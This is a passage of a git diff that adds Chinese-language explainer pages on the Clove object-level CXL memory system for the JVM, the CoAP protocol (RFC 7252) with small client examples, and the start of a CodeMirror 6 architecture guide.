+| A | 32B | 非常高（每毫秒被访问 100 次）|
+| B | 32B | 非常高 |
+| C | 32B | 非常高 |
+| D | 32B | 极低（一天才被访问 1 次）|
+| ... | ... | ... |
+| J | 32B | 极低 |
+
+如果操作系统按页面来管理，它只有两个选择：把整个 4KB 页面搬到快速内存，或者留在慢速内存。它无法只搬 A、B、C 而留下 D-J。这就是页面内热度偏斜——**一个页面内，不同对象的热度差异巨大**。
+
+### 3.2 托管运行时（Managed Runtime）
+
+Java、.NET 等语言的运行时（JVM、CLR）已经做了很多"免费"的工作：
+
+1. **垃圾回收（GC）**：自动移动对象来压缩堆内存
+2. **JIT 编译**：在运行时动态生成和优化机器码
+3. **对象元数据**：每个对象头部存储类型信息、锁信息等
+
+Clove 的洞察是：这些已有的机制天然适合做对象级内存管理，不需要从零开始。
+
+### 3.3 对象热度追踪（Object Hotness Tracking）
+
+Clove 需要知道哪些对象是"热的"（经常被访问的）。但直接追踪每个对象太慢了。
+
+**Clove 的聪明做法：**
+
+1. 用硬件性能计数器（PEBS）采样，找出导致 L3 缓存 misses 最多的**几条加载指令**
+2. 只在这些"有问题"的指令处插入追踪代码
+3. 对象头部原本就有的闲置 bit 被拿来存热度计数器
+
+这个方法的关键是：**不需要追踪所有对象，只需要追踪那些真正有问题的对象。**
+
+### 3.4 热对象压缩（Hot-Object Compaction）
+
+知道哪些对象热之后，Clove 需要把它们移到快速区。它的做法是：
+
+1. 在垃圾回收过程中，把热对象"挤"到一起，放在连续的虚拟页面上
+2. 底层的页面级系统（如 Memtis）看到这些页面变热后，自动把它们搬到物理快速内存
+
+Clove 不直接管理物理内存放置，而是通过"把热对象集中到少数页面"这个间接方式，让现有的页面级系统来完成最后的搬迁。
+
+---
+
+## 四、代码示例
+
+### 4.1 示例一：热度计数器是如何被更新的
+
+Clove 利用对象头部的闲置 bit 来存储热度计数器。以下是简化后的概念性代码：
+
+```java
+// 每个 Java 对象头部原本存储：
+// [ 23 bits 哈希码 | 1 bit 标志位 | 5 bit GC 年龄 | ... ]
+// Clove 复用了一些闲置位来存热度计数器
+
+class HotObject {
+    // 对象头部（由 JVM 管理，程序员看不到）
+    // +---+---+---+---+---+---+---+---+
+    // | 哈希码  |  标志  |  GC年龄 |热度计数|
+    // +---+---+---+---+---+---+---+---+
+
+    String key;
+    byte[] value;
+
+    // 假设热度计数器藏在对象头部的某个闲置位中
+    // 每次对象被访问，Clove 生成的代码会做：
+    //
+    // 伪代码（对应生成的机器码）：
+    //
+    //   load r1, [object_ptr]        // 加载对象头部
+    //   add r2, r1, #HOTNESS_OFFSET   // 指向热度计数字段
+    //   increment [r2]                // 计数器 +1（非常轻量！）
+    //   load r3, [object_ptr + DATA]  // 访问实际数据
+    //
+    // 这个 increment 只需要 1-2 条指令，且对象头部通常已经在 L1 缓存中
+}
+
+// 实际使用场景中，程序员写的代码完全不变：
+public class KeyValueCache {
+    private Map<String, byte[]> cache = new HashMap<>();
+
+    public byte[] get(String key) {
+        return cache.get(key);  // 这行代码背后的对象访问
+        // 会被 Clove 自动追踪热度，程序员无需修改
+    }
+
+    public void put(String key, byte[] value) {
+        cache.put(key, value);
+    }
+}
+```
+
+关键点：
+
+- 程序员**完全不需要**修改代码
+- Clove 在编译时自动注入追踪逻辑
+- 计数器更新开销极低（几纳秒），因为对象头部已经在 L1 缓存中
+
+### 4.2 示例二：热度感知的热对象压缩过程
+
+以下是简化后的核心逻辑，展示 Clove 如何在垃圾回收过程中做热对象压缩：
+
+```java
+// 伪代码：Clove 扩展 ZGC 的垃圾回收流程
+
+class CloveGC extends ZGC {
+
+    // 第一阶段：对象图遍历（GC 本来就有的）
+    // Clove 在此阶段收集所有对象的热度统计
+    void objectGraphScan() {
+        // 遍历堆中所有存活对象
+        for (Object obj : liveObjects) {
+            int hotness = readHotnessCounter(obj.header);  // 读取热度
+
+            // 把热度值映射到直方图的 bin 中
+            // 使用指数级 bin：[2^0, 2^1), [2^1, 2^2), [2^2, 2^3), ...
+            int bin = exponentialBucket(hotness);
+
+            // 累计每个 bin 中的对象大小
+            histogram[bin] += obj.size;
+        }
+
+        // 根据直方图和本地内存大小，计算"热度 cutoff"
+        // 例如本地内存有 20GB，从最热的 bin 开始累加，
+        // 直到填满 20GB，这些 bin 中的对象被归类为"热"
+        int cutoff = computeCutoff(histogram, localMemorySize);
+    }
+
+    // 第二阶段：区域选择（Clove 新增的策略）
+    void selectRegionsForCompaction() {
+        for (Region region : heapRegions) {
+            float hotRatio = region.hotBytes / region.totalBytes;
+
+            // 低水位 5%：如果一个区域热对象比例低于 5%，跳过
+            // 高水位 50%：如果一个区域热对象比例超过 50%，跳过
+            // 只处理"中间地带"的区域——有优化空间但还没那么热
+            if (hotRatio >= LOW_WATERMARK && hotRatio <= HIGH_WATERMARK) {
+                region.markForHotCompaction();
+            }
+        }
+    }
+
+    // 第三阶段：热对象压缩（复用 GC 的已有移动机制）
+    void compactHotObjects() {
+        for (Region region : regionsMarkedForCompaction) {
+            for (Object obj : region.objects) {
+                if (isHot(obj.header, hotnessCutoff)) {
+                    // 把热对象移动到"热对象空间"
+                    // （连续的虚拟页面，便于页面级系统迁移到快速内存）
+                    evacuateToHotSpace(obj);
+                } else {
+                    // 冷对象留在原处
+                    evacuateToColdSpace(obj);
+                }
+            }
+        }
+    }
+}
+
+// 假设本地内存有 20GB，直方图统计如下：
+//
+// Bin   热度范围      累计大小     结论
+// ---   ----------   --------    ------
+// 7     128~256      2GB         ← 热（累计 2GB）
+// 6     64~128       3GB         ← 热（累计 5GB）
+// 5     32~64        4GB         ← 热（累计 9GB）
+// 4     16~32        5GB         ← 热（累计 14GB）
+// 3     8~16         6GB         ← 热（累计 20GB = 填满本地内存！）
+// 2     4~8          3GB         ← 冷（超过 20GB 了）
+// 1     2~4          2GB         ← 冷
+// 0     0~2          1GB         ← 冷
+//
+// 所以 cutoff 设在 bin 3 和 bin 2 之间：
+// bin 3 及以上的对象被认为是"热的"，会被压缩到热对象空间
+// bin 2 及以下的对象被认为是"冷的"，留在原处
+//
+// 这样本地内存（20GB）被最热的那些对象填满了，
+// 底层的页面级系统（如 Memtis）看到这些页面活跃后，
+// 自动把它们搬到物理快速内存中。
+```
+
+---
+
+## 五、Clove 的整体架构
+
+```
+                    +---------------------------+
+                    |     你的 Java 代码         |
+                    |  （完全不需要修改）          |
+                    +-------------+-------------+
+                                  |
+                                  v
++-----------------------------------------------------------------+
+|  JVM（扩展过的 OpenJDK 21）                                      |
+|                                                                 |
+|  +---------------+  +-------------------+  +-----------------+  |
+|  | 在线分析器     |  | 对象热度追踪        |  | 热对象压缩       |  |
+|  | (PEBS 采样)   |--| (C2 JIT 注入代码)  |--| (扩展 ZGC)      |  |
+|  +---------------+  +-------------------+  +-----------------+  |
+|        |                     |                    |              |
+|        v                     v                    v              |
+|  找出有问题的加载指令    在指令处插入计数器更新    把热对象挤一起     |
++-----------------------------------------------------------------+
+                                  |
+                                  v
++-----------------------------------------------------------------+
+|  操作系统（页面级系统，如 Memtis / TPP / HybridTier）             |
+|  检测到热页面后，自动迁移到本地 DDR 内存                           |
++-----------------------------------------------------------------+
+```
+
+---
+
+## 六、为什么 Clove 比现有方案好？
+
+现有 CXL 内存管理系统（TPP、Memtis、HybridTier）都是**按页面管理**的。Clove 在三个真实 Java 应用上的测试结果：
+
+| 应用 | 性能提升（相比页面级系统） |
+|------|--------------------------|
+| Ehcache（键值缓存） | 延迟降低 29-63% |
+| JGraphT（图算法） | 延迟降低 47-84% |
+| H2（内存数据库） | 延迟降低 22-47% |
+
+**根本原因：** Clove 通过对象级管理解决了页面内热度偏斜问题。热点数据可以被精确地放入快速内存，而不会被冷数据"拖累"。
+
+---
+
+## 七、关键设计选择的权衡
+
+### 7.1 为什么要用 JIT 注入而不是全程追踪？
+
+全程追踪每个对象访问的开销太高（约 20%）。Clove 只追踪"有问题的"加载指令（导致 L3 cache miss 的那些），开销降到 1% 以下。
+
+### 7.2 为什么要分阶段而不是压缩所有热对象？
+
+Clove 设置了热度 cutoff 和区域水位线：
+- 热度 cutoff：只压缩足够热的对象，避免热对象空间被"温"对象填满
+- 区域水位线（5%-50%）：只处理那些"既不够热也不够冷"的区域，避免不必要的搬运
+
+### 7.3 为什么不需要程序员写任何代码？
+
+因为 JVM 本身就有对象级可视化和移动能力。Clove 只是扩展了已有的机制，没有引入任何 API 或注解。
+
+---
+
+## 八、总结
+
+Clove 的核心思想可以用一句话概括：
+
+> **既然 JVM 已经有了对象移动和 JIT 编译的能力，为什么不直接拿来管理 CXL 内存呢？**
+
+它做了几件关键的事：
+1. 用硬件采样 + JIT 注入做精确且轻量级的对象热度追踪
+2. 在 GC 过程中把热对象压缩到一起
+3. 让底层的页面级系统来完成最后的物理迁移
+
+整个过程对程序员完全透明，不需要修改一行代码。
+
+---
+
+## 九、思考题（回答后再继续）
+
+**问：** 如果一段代码中，对象的热度会随时间变化（比如某个时刻 A 很热，另一个时刻 B 很热），Clove 的"热度计数器"机制怎么应对？
+
+<details>
+<summary>点击看答案</summary>
+
+Clove 有一个计数器衰减机制。每当在线分析器收集到一定数量的 L3 miss 样本后（例如 100 万个），它会触发一次对象图扫描，对所有对象的热度计数器进行衰减（乘以 1/2）。这样旧的热度信息会逐渐淡化，新的热度模式会被更好地捕捉。
+
+配合定期（约每 6 分钟）的额外对象图扫描和热对象压缩阶段，Clove 可以适应热度随时间的变化。
+</details>
+
+---
+
+## 十、延伸思考
+
+1. Clove 的 JVM 原型虽然只针对 Java，但论文指出同样的原理可以应用到 .NET CLR、PyPy 和 V8 等运行时
+2. Clove 不管理堆外内存（off-heap），这部分仍然由底层页面级系统管理
+3. 如果对象大小改变极快（每几秒变化），超出了 Clove 的设计范围
diff --git a/src/content/docs/papers/coap-rfc7252.md b/src/content/docs/papers/coap-rfc7252.md
new file mode 100644
index 000000000..afc654f06
--- /dev/null
+++ b/src/content/docs/papers/coap-rfc7252.md
@@ -0,0 +1,274 @@
+---
+title: CoAP RFC 7252 — 给传感器用的「超短明信片 HTTP」
+来源: https://datatracker.ietf.org/doc/html/rfc7252
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象一栋老小区，每户门口有个**极小的信箱**（单片机、温湿度探头、门磁），供电靠纽扣电池，内存只有几十 KB，网络是慢吞吞、偶尔丢包的无线（6LoWPAN / LoRa / NB-IoT）。
+
+这种设备没法跑完整的 HTTP 客户端：TCP 三次握手、几十 KB 的请求头、长连接保活，都太奢侈。它们需要的是：
+
+- **一张明信片就能说完**——固定 4 字节头 + 紧凑选项，整条消息常常只有十几字节；
+- **寄出去不用等回信也行**——默认 UDP，不维持「电话线」；
+- **真要可靠就贴回执**——可选的 CON/ACK 重传，像挂号信；
+- **地址写成「/温度」「/灯/开关」**——REST 风格 URI，和 Web 思维一致。
+
+**CoAP（Constrained Application Protocol，受限应用协议）** 就是 IETF 在 **2014 年 6 月** 用 [RFC 7252](https://datatracker.ietf.org/doc/html/rfc7252) 定下的这套「明信片 REST」。作者 Sheltzman, Hartke, Bormann 来自 CoRE（Constrained RESTful Environments）工作组——目标不是替代 HTTP，而是让**最弱的节点**也能参与同一套资源模型。
+
+规范全文：[RFC 7252 — The Constrained Application Protocol (CoAP)](https://datatracker.ietf.org/doc/html/rfc7252)
+
+## 这篇规范在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 传输 | 默认 **UDP**（一报文一 CoAP 消息）；可用 **DTLS** 加密（RFC 7252 §9.1） |
+| 模型 | **REST**：资源用 URI 标识，方法 GET/PUT/POST/DELETE，响应带状态码 |
+| 消息类型 | CON（需确认）、NON（不需确认）、ACK、RST |
+| 可靠性 | 应用层对 CON 消息指数退避重传，不靠 TCP |
+| 扩展 | Observe（RFC 7641）、Block-wise（RFC 7959）、组播（RFC 7390）等建立在 CoAP 之上 |
+
+一句话：**CoAP = 把 HTTP 的「资源 + 动词 + 状态码」压缩进 UDP 报文，并自己处理丢包与重复。**
+
+## 和 HTTP / MQTT 怎么选
+
+| 协议 | 日常类比 | 典型场景 |
+|------|----------|----------|
+| **HTTP/1.1** | 挂号信 + 长电话 | 浏览器、API 网关、富客户端 |
+| **CoAP** | 明信片 + 可选回执 | 传感器、Actuator、mesh 内一跳 |
+| **MQTT** | 小区广播站 + 信箱 | 经 Broker 的 pub/sub、弱网海量终端 |
+
+若设备要**直接问某个 IP 上的 `/sensor/temp`**，CoAP 很自然；若成千上万设备只往**主题**上扔数据、由云端 Broker 转发，MQTT 更常见。二者常共存：边缘网关 **CoAP ↔ MQTT** 翻译。
+
+## 核心概念一：四层报文结构
+
+RFC 7252 §3 规定每条 CoAP 消息：
+
+```
+ 0                   1                   2                   3
+ 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+|Ver| T |  TKL  |      Code     |          Message ID           |
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+|   Token (if any, TKL bytes) ...
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+|   Options (Zero or more) ...
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+|1 1 1 1 1 1 1 1|    Payload (if any) ...
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+```
+
+| 字段 | 含义 |
+|------|------|
+| **Ver** | 版本，必须为 `1` |
+| **T (Type)** | 0=CON, 1=NON, 2=ACK, 3=RST |
+| **TKL** | Token 长度 0–8 字节；用来匹配**异步**请求与响应 |
+| **Code** | 请求为方法码（0.01=GET…），响应为类.细节（2.05=Content…） |
+| **Message ID** | 16 位，去重 + 匹配 CON 与 ACK/RST |
+| **Options** | 类型-长度-值，如 Uri-Path、Content-Format、Observe |
+| **Payload** | 前有固定标记字节 `0xFF` |
+
+**最小消息仅 4 字节**——比 HTTP 请求行还短 orders of magnitude。在 6LoWPAN 里单帧常限 ~127 字节，CoAP 鼓励应用控制报文大小，超大体用 Block 选项分块（RFC 7959）。
+
+## 核心概念二：CON / NON 与请求-响应
+
+§4 .messaging 模型：
+
+```
+Client                                 Server
+   |  CON GET /temp  [MID=0x7d34, Token=0x9a]
+   |---------------------------------------->|
+   |  ACK              [MID=0x7d34]          |  （空 ACK，表示「收到了」）
+   |<----------------------------------------|
+   |  CON 2.05 Content [MID=0x0012, Token=0x9a, payload=23.5]
+   |<----------------------------------------|
+   |  ACK              [MID=0x0012]          |
+   |---------------------------------------->|
+```
+
+- **CON**：像挂号信；超时未收到 ACK 会**指数退避重传**（默认参数下约 250 msg/s 上限/对端）。
+- **NON**：像普通明信片；不重传，适合高频 telemetry。
+- **ACK**：只确认「收到了这条 CON」，**不一定带业务响应**；业务响应往往是另一条 CON/NON，靠 **Token** 与请求关联。
+- **RST**：对端无法处理该 CON 时拒绝（例如选项非法）。
+
+这与 TCP「字节流里顺序藏着一个 HTTP 响应」不同：CoAP 明确区分**传输层确认**与**应用层响应**，且响应可晚到、可拆成多条消息。
+
+## 核心概念三：REST 方法与响应码
+
+§5.8 方法码（Code 高 3 位为 0 表示请求）：
+
+| Code | 方法 | 语义 |
+|------|------|------|
+| 0.01 | GET | 读取资源表示 |
+| 0.02 | POST | 处理、创建子资源 |
+| 0.03 | PUT | 创建/替换 |
+| 0.04 | DELETE | 删除 |
+
+响应码沿用 HTTP 风格三位数字的**压缩版**：
+
+| Code | 含义 |
+|------|------|
+| 2.05 | Content — GET 成功带 body |
+| 2.04 | Changed — PUT/POST/DELETE 成功 |
+| 4.04 | Not Found |
+| 4.13 | Request Entity Too Large — 常触发客户端改用 Block 传输 |
+
+常用选项：
+
+| Option | 作用 |
+|--------|------|
+| `Uri-Host` / `Uri-Port` / `Uri-Path` / `Uri-Query` | 拼出 `coap://host/path?query` |
+| `Content-Format` | payload 类型，如 `50` = `application/json` |
+| `Max-Age` | 响应可缓存秒数 |
+| `ETag` / `If-Match` | 并发写与条件更新 |
+
+默认 UDP 端口 **5683**，DTLS 常用 **5684**。
+
+## 代码示例一：Python aiocoap 读温度
+
+下面用 [aiocoap](https://aiocoap.readthedocs.io/) 向假想传感器发 CON GET（库会自动处理 ACK 与 Token）：
+
+```python
+import asyncio
+from aiocoap import Context, Message, GET
+
+async def read_temperature():
+    protocol = await Context.create_client_context()
+    request = Message(code=GET, uri="coap://[fd00::1]/sensor/temp")
+    request.opt.content_format = 50  # application/json
+    response = await protocol.request(request).response
+    print(f"Code: {response.code}")       # 例如 2.05 Content
+    print(f"Payload: {response.payload}") # b'{"c":23.5}'
+
+asyncio.run(read_temperature())
+```
+
+要点：
+
+- `uri` 拆成 Host/Path 等选项由库完成；
+- `.response` 等待的是**带相同 Token 的响应消息**，不是第一条 ACK；
+- 弱网下库按 RFC 默认超时重传 CON。
+
+## 代码示例二：用 coap-cli 手搓报文（调试向）
+
+安装 [coap-cli](https://www.npmjs.com/package/coap-cli) 后可直接打真实或 [coap.me](https://coap.me/) 测试服：
+
+```bash
+# CON GET，默认端口 5683
+coap get coap://coap.me/hello
+
+# 指定 JSON Accept，观察响应头里的 Mid、Token
+coap get -o Accept -O 50 coap://californium.eclipseprojects.io/.well-known/core
+
+# PUT 一小段 JSON（注意设备侧常限 payload 大小）
+echo '{"on":true}' | coap put coap://[2001:db8::1]/actuator/relay1 -c 50
+```
+
+`.well-known/core` 返回 **CoRE Link Format**（RFC 6690）——列出服务器有哪些资源路径，像微型站点地图：
+
+```
+</sensor/temp>;rt="temperature";if="sensor",
+</actuator/led>;rt="light";if="actuator"
+```
+
+排障时先看 **MID 是否重复**（代理或双发）、**Token 是否对得上**（别把 ACK 当最终响应）。
+
+## 代码示例三：libcoap 风格的最小 C 伪代码（感受选项编码）
+
+嵌入式侧常用 [libcoap](https://libcoap.net/)，逻辑等价于：
+
+```c
+coap_pdu_t *request = coap_pdu_init(COAP_MESSAGE_CON, COAP_REQUEST_CODE_GET,
+                                    coap_new_message_id(session), 8 /* token len */);
+coap_add_option(request, COAP_OPTION_URI_PATH, 11, (uint8_t *)"sensor/temp");
+coap_add_option(request, COAP_OPTION_URI_PATH, 4,  (uint8_t *)"temp");
+coap_add_token(request, token_len, token);  /* 匹配响应 */
+coap_send(session, request);
+
+/* 回调里：收到 2.05 且 token 相同 → 解析 payload */
+```
+
+路径 `sensor/temp` 被拆成**两个** `Uri-Path` 段（不是字符串里的一个 `/` 选项）——这是新人解析 Wireshark 时常见的困惑点。
+
+## Observe：订阅资源变更（RFC 7641）
+
+在 GET 里带上 **Observe 选项**（序号 6，空值或 0/1）可建立观察关系：服务器在资源变化时主动发 **2.05 Notification**（仍为 CON/NON + Token）。
+
+```
+Client  GET /temp  Observe:0  ──>  Server
+Client  <──  2.05  temp=23.1  (notification)
+Client  <──  2.05  temp=23.4  (notification)
+Client  GET /temp  Observe:1  ──>  取消观察
+```
+
+像给 `/temp` 办了个「变更推送」，但**没有 MQTT Broker**——是客户端与资源服务器之间的直接关系。大 payload 通知应配合 **Block2**（RFC 7959）。
+
+## 安全与部署要点
+
+| 话题 | RFC 7252 说法 |
+|------|----------------|
+| 加密 | **DTLS 1.2+** 绑在 CoAP 之下；预共享密钥 PSK 在受限设备上很常见 |
+| 组播 | UDP 组播 CoAP 需单独规范（RFC 7390）；注意 CON 在组播上的重传风暴 |
+| IP 分片 | 规范**不鼓励**依赖 IP 分片；应用应用 Block 或缩小表示 |
+| 缓存 | 中间 **CoAP-HTTP 代理**（RFC 7252 §10）可把 `coap://` 翻成 `http://` |
+
+## 踩过的坑
+
+1. **把 ACK 当业务响应**：ACK 只表示「收到 CON」；真正数据在后续带 Token 的 2.xx 里。
+2. **Token 固定为 0**：多路并发请求时 Token 冲突，响应张冠李戴；应随机 1–8 字节。
+3. **Message ID 复用太快**：同一对端未确认完又发同 MID，对端当重复丢弃。
+4. **Uri-Path 编码**：多段路径是多个选项，不是带 `/` 的一个字符串。
+5. **以为 CoAP = 小 HTTP over TCP**：RFC 7252 核心是 **UDP**；CoAP over TCP（RFC 8323）是后话，栈与调试工具都不同。
+6. **忽略 4.13**：体太大应走 Block，而不是硬调 MTU。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 电池供电、KB 级 RAM 的传感器 / 执行器
+- mesh / LLN（低功耗有损网络）上的**一跳 REST**
+- 需要与 HTTP 世界互通（CoAP-HTTP 代理、LWM2M 设备管理）
+- 组播发现、`.well-known/core` 资源自描述
+
+**不适用**：
+
+- 需要有序字节流、大文件、复杂鉴权会话 → **HTTPS / HTTP/2**
+- 海量终端经云端总线解耦 → **MQTT** 等 pub/sub
+- 浏览器里直接跑（无原生 CoAP）→ 通常 **WebSocket + HTTP API** 或 **CoAP over WebSockets**（另规范）
+
+## 历史与生态
+
+- **2010 前后**：IETF CoRE 工作组在 6LoWPAN 浪潮中起草 CoAP，吸取 REST 与 SMS 二进制协议经验。
+- **2014-06**：RFC 7252 发布，成为 **OMA LWM2M**、**Thread**、工业网关的事实传输层之一。
+- **后续扩展**：Observe (7641)、Block (7959)、OSCORE 对象安全 (8613)、CoAP over TCP/TLS (8323)。
+
+## 学到什么
+
+1. **REST 可以比 HTTP 瘦一个数量级**——方法、状态码、URI 思维保留，传输换成 UDP + 可选 CON。
+2. **可靠性可以叠在 UDP 上**——CON/ACK + 重传是应用层设计，不是只有 TCP 才能「可靠」。
+3. **Token 与 Message ID 分工明确**——前者匹配请求/响应，后者管传输去重与确认。
+4. **扩展走 Options**——Observe、Block 不改头格式，符合「受限」哲学。
+
+## 延伸阅读
+
+- 协议原文：[RFC 7252](https://datatracker.ietf.org/doc/html/rfc7252)（建议 §1、§2.1、§3、§5.8、§5.10）
+- 观察资源：[RFC 7641 — CoAP Observe](https://datatracker.ietf.org/doc/html/rfc7641)
+- 分块传输：[RFC 7959 — Block-Wise Transfers](https://datatracker.ietf.org/doc/html/rfc7959)
+- 公共试手：[coap.me](https://coap.me/) / Eclipse Californium 演示服
+- [[mqtt-v5-spec]] —— 与 MQTT 的 pub/sub 模型对照
+- [[websocket-rfc-6455]] —— 浏览器侧实时通道的另一条路
+
+## 关联
+
+- [[mqtt-v5-spec]] —— 物联网里「经 Broker 广播」 vs CoAP「端到端 REST」
+- [[websocket-rfc-6455]] —— 富客户端双向通道；CoAP 面向受限端
+- [[tls-1-3-rfc8446]] —— DTLS 与 TLS 共享密码学，部署思路相通
+- [[matter-protocol-1-0]] —— 消费物联网栈常在其下承载 UDP/IP 与设备模型
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/papers/codemirror-6-architecture.md b/src/content/docs/papers/codemirror-6-architecture.md
new file mode 100644
index 000000000..da6a0c6a7
--- /dev/null
+++ b/src/content/docs/papers/codemirror-6-architecture.md
@@ -0,0 +1,320 @@
+---
+title: CodeMirror 6 Architecture — 函数式内核 + 扩展织网的现代 Web 编辑器
+来源: https://codemirror.net/docs/guide/
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**CodeMirror 6** 是一套用 JavaScript 写的**模块化代码编辑器框架**。官方 [System Guide](https://codemirror.net/docs/guide/) 描述的不是「一个大类 + 一堆 option」，而是一组 npm 包拼出来的**编辑系统**：`@codemirror/state` 管数据，`@codemirror/view` 管界面，行号、撤销、语法高亮、自动补全各自是独立扩展。
+
+日常类比：老式编辑器像**一体式电饭煲**——买回家插电就能煮饭，但想换内胆或加蒸汽功能得拆整机。CodeMirror 6 像**开放式厨房**：灶台（state）、操作台（view）、抽油烟机（语法高亮）、调料架（keymap）都是标准接口，你按菜谱（extensions 数组）自己摆。Replit、Sourcegraph、Obsidian 等产品的代码区背后，常见的就是这套架构。
+
+和 CodeMirror 5 的最大区别：**没有「上帝类」**。第 5 版的 `CodeMirror` 类把 DOM、选项、模式全缝在一起；第 6 版把「当前编辑世界长什么样」收敛进不可变的 `EditorState`，把「怎么画、怎么响应按键」交给 `EditorView` 和扩展，思路接近 Redux / Elm 的**单向数据流**。
+
+## 为什么重要
+
+不理解这套架构，下面几件事很难做对：
+
+- 为什么改 `state.doc` 不会生效，必须 `dispatch` 事务——状态是不可变的，原地赋值等于和框架对着干
+- 为什么同一个功能要同时写 StateField、Facet、ViewPlugin——不同层负责不同副作用边界
+- 为什么大文件打开不卡——视口（viewport）只渲染可见行，装饰和高亮也按可见范围算
+- 为什么 Monaco（VS Code 内核）开箱即用却更重，而 CodeMirror 能压到几十 KB——功能默认不打包，靠扩展按需组合
+
+## 架构全景
+
+```mermaid
+flowchart TB
+  subgraph 用户交互
+    Input[键盘 / 鼠标 / 粘贴]
+  end
+
+  subgraph View层["@codemirror/view（命令式外壳）"]
+    EV[EditorView]
+    VP[ViewPlugin]
+    DOM[contentEditable DOM]
+  end
+
+  subgraph State层["@codemirror/state（函数式内核）"]
+    ES[EditorState]
+    Doc[Text 文档树]
+    Sel[Selection]
+    SF[StateField]
+    Facet[Facet 合并配置]
+    Ext[Extensions 配置树]
+  end
+
+  Input --> EV
+  EV -->|翻译为 Transaction| ES
+  ES -->|dispatch 后新 state| EV
+  EV --> DOM
+  Ext --> SF
+  Ext --> Facet
+  ES --> Doc
+  ES --> Sel
+  VP --> DOM
+  Facet --> EV
+```
+
+核心口号来自官方文档：**Functional Core, Imperative Shell**（函数式内核，命令式外壳）。内核里的一切是值；外壳负责跟 DOM 和浏览器事件打交道。
+
+## 核心概念
+
+### 1. 模块化包，而非单体类
+
+最小可运行编辑器只需要三个概念：`EditorState.create` → `EditorView` → `parent` DOM 节点。行号、历史、语言包都不是默认自带的——这和 CM5「new 一个类就全有了」完全不同。
+
+常用包分工：
+
+| 包 | 职责 |
+|----|------|
+| `@codemirror/state` | 文档 `Text`、选区、事务、Facet、StateField |
+| `@codemirror/view` | `EditorView`、装饰、主题、ViewPlugin |
+| `@codemirror/commands` | 编辑命令与默认键位 |
+| `codemirror` | `basicSetup` 捆绑常用扩展的便利包 |
+| `@codemirror/lang-*` | 各语言 Lezer 语法 + 高亮 |
+
+### 2. EditorState：不可变的「编辑世界快照」
+
+`EditorState` 包含：
+
+- **doc**：按行切成树形结构的 `Text`，支持廉价随机修改与按行号索引
+- **selection**：一个或多个 range（光标是长度为 0 的 range）
+- **configuration**：由 extensions 解析出的 Facet 值与 StateField
+
+旧 state 在更新后**仍然完整保留**。撤销、协同编辑、时间旅行调试都受益于「手里同时握着 before / after」。
+
+文档位置用**从 0 开始的 UTF-16 码元偏移**（与 DOM / JS 字符串一致）。换行符永远算 1 个单位。跨版本变更时，用 `ChangeSet` 和 `mapPos` 把旧坐标映射到新文档。
+
+### 3. Transaction + dispatch：唯一的合法变更路径
+
+用户输入、命令、插件逻辑**不直接改 state**，而是：
+
+1. 用 `state.update({...})` 或 `view.state.update({...})` 构造 **Transaction**
+2. 调用 `view.dispatch(transaction)` 提交
+3. View 持有新 state，同步 DOM
+
+Transaction 可携带：文档变更、选区变更、滚动意图、`annotations`（元数据）、`effects`（给 StateField 的自定义效果）、配置重配（Compartment）等。
+
+### 4. Extension：功能的唯一装配单位
+
+配置不是 `setOption('lineNumbers', true)`，而是往 `extensions` 数组里**塞值**：
+
+- 单个扩展对象（如 `history()`）
+- 嵌套数组（任意深度，配置时会被拍平）
+- `Prec.high(...)` 等优先级包装
+
+扩展可以拉入其他扩展；**相同扩展实例会去重**，重复 import 不会装两遍。冲突时先比 `Prec` 类别，再比在数组里的顺序——靠前的 keymap 优先尝试处理按键。
+
+### 5. Facet：多路输入，单路（或数组）输出
+
+Facet 是带合并策略的「配置插槽」：
+
+- `tabSize`：取最高优先级的一个数
+- `keymap`：合并成按优先级排序的处理器数组
+- `changeFilter`：逻辑或 / 自定义 reduce
+
+还可 `Facet.compute(["doc"], state => ...)`，在依赖字段变化时自动重算——类似带 deps 的 memo。
+
+### 6. StateField：挂在 state 上的 reducer 状态
+
+撤销栈、折叠信息、补全会话等**必须跟文档变更同步**的数据，应放进 `StateField.define({ create, update })`，在每次 transaction 的 `update` 里根据 `tr.docChanged`、`tr.effects` 演化。不要偷偷用模块级变量——那会跟协同、撤销、重配脱节。
+
+### 7. ViewPlugin：视图侧的命令式钩子
+
+需要操作 DOM、读视口、挂全局监听时，用 `ViewPlugin.fromClass`。插件在 `update` 里读 `update.docChanged` 等，**尽量不存独立真源状态**——真源应在 StateField，View 只是投影。
+
+### 8. Decoration：改「看起来怎样」而不改 doc
+
+四类装饰：Mark（样式）、Widget（插入 DOM）、Replace（隐藏/替换）、Line（行属性）。大文件场景下，装饰集可随 `ChangeSet` 映射，也可只装饰可见范围以省算力。
+
+### 9. Viewport：只画看得见的行
+
+长文档不会一次性渲染全文。View 计算可见区域 + margin，只对这部分建 `cm-line` 节点；视口外坐标查询会失败。块折叠、未换行的超长行会让「可见范围」仍很大——此时还有 `visibleRanges` API 供高亮器跳过不可见内容。
+
+### 10. Compartment：运行时可替换的配置舱
+
+静态 `extensions` 够用直到你要「运行时切换主题 / 语言 / 只读模式」。把可变部分包进 `Compartment.of(...)`，之后 `dispatch` 带 `reconfigure` 效果即可热替换，而不必重建整个 state。
+
+## 代码示例
+
+### 示例 1：最小可用编辑器（state + view + 键位）
+
+官方 Guide 里的「最小 viable editor」：只有文档、默认键位，没有行号也没有历史。
+
+```ts
+import { EditorState } from "@codemirror/state"
